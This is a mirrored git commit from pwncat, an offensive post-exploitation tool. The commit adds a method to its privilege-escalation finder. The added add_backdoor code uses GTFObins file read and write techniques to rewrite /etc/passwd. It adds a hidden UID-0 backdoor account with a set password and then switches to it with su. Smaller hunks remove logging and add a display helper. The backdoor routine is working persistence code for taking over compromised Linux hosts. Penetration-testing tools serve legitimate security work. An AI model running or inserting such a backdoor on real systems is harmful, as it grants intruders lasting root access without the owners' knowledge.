1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-24 01:25:37 +01:00

Added add_backdor method to the privesc finder to fix EUID issues after SUID escalation

This commit is contained in:
Caleb Stewart 2020-05-10 00:39:14 -04:00
parent ec2711a086
commit 02db34379c
3 changed files with 65 additions and 10 deletions

View File

@ -5,6 +5,7 @@ import crypt
from pwncat.privesc.base import Method, PrivescError, Technique, SuMethod, Capability
from pwncat.privesc.setuid import SetuidMethod
from pwncat.privesc.sudo import SudoMethod
from pwncat import downloader
from pwncat import gtfobins
from pwncat import util
@ -72,6 +73,54 @@ class Finder:
return techniques
def add_backdoor(self):
""" Add the backdoor user if it doesn't already exist. This is normally
called in order to solidify full UID=0 access (e.g. when SUID binaries
yield a EUID=0 but UID!=0. """
self.pty.reload_users()
if self.backdoor_user_name not in self.pty.users:
binary = gtfobins.Binary.find_capability(self.pty.which, Capability.READ)
if binary is None:
raise PrivescError("no file read methods available from gtfobins")
# Read the etc/passwd file
passwd = self.pty.subprocess(binary.read_file("/etc/passwd"))
data = passwd.read()
passwd.close()
# Split up the file by lines
data = data.decode("utf-8").strip()
data = data.split("\n")
# Add a new user
password = crypt.crypt(self.backdoor_password)
user = self.backdoor_user_name
data.append(f"{user}:{password}:0:0::/root:{self.pty.shell}")
# Prepare data for transmission
data = ("\n".join(data) + "\n").encode("utf-8")
# Find a GTFObins payload that works
binary = gtfobins.Binary.find_capability(self.pty.which, Capability.WRITE)
if binary is None:
raise PrivescError("no file write methods available from gtfobins")
# Write the file
self.pty.run(binary.write_file("/etc/passwd", data))
# Stabilize output after the file write
self.pty.run("echo")
# Reload the /etc/passwd data
self.pty.reload_users()
if self.backdoor_user_name not in self.pty.users:
raise PrivescError("/etc/passwd update failed!")
self.pty.run(f"su {self.backdoor_user_name}", input=self.backdoor_password)
def write_file(
self,
filename: str,

View File

@ -123,10 +123,6 @@ class SetuidMethod(Method):
return read_pipe
def write_file(self, filepath: str, data: bytes, technique: Technique):
info(
f"attempting to write {Fore.BLUE}{filepath}{Fore.RESET} with {Fore.RED}{self.get_name(technique)}{Fore.RESET}"
)
binary = technique.ident
payload = binary.write_file(filepath, data)

View File

@ -262,9 +262,6 @@ class SudoMethod(Method):
def read_file(self, filepath: str, technique: Technique) -> RemoteBinaryPipe:
info(
f"attempting to read {Fore.BLUE}{filepath}{Fore.RESET} with {Fore.RED}{self.get_name(technique)}{Fore.RESET}"
)
binary, sudo_spec, password_required = technique.ident
read_payload = binary.read_file(
@ -280,9 +277,6 @@ class SudoMethod(Method):
def write_file(self, filepath: str, data: bytes, technique: Technique):
info(
f"attempting to write {Fore.BLUE}{filepath}{Fore.RESET} with {Fore.RED}{self.get_name(technique)}{Fore.RESET}"
)
binary, sudo_spec, password_required = technique.ident
payload = binary.write_file(
filepath, data, sudo_prefix=f"sudo -u {shlex.quote(technique.user)}"
@ -292,3 +286,19 @@ class SudoMethod(Method):
self.pty.run(
payload, input=functools.partial(self.send_password, self.pty.current_user),
)
def get_name(self, tech: Technique):
""" Get the name of the given technique for display """
return (
(
f"{Fore.GREEN}{tech.user}{Fore.RESET} via "
f"{Fore.CYAN}{tech.ident[0].path}{Fore.RESET} "
f"({Fore.RED}sudo{Fore.RESET}"
)
+ (
""
if tech.ident[2]
else f" {Style.BRIGHT+Fore.RED}NOPASSWD{Style.RESET_ALL}"
)
+ ")"
)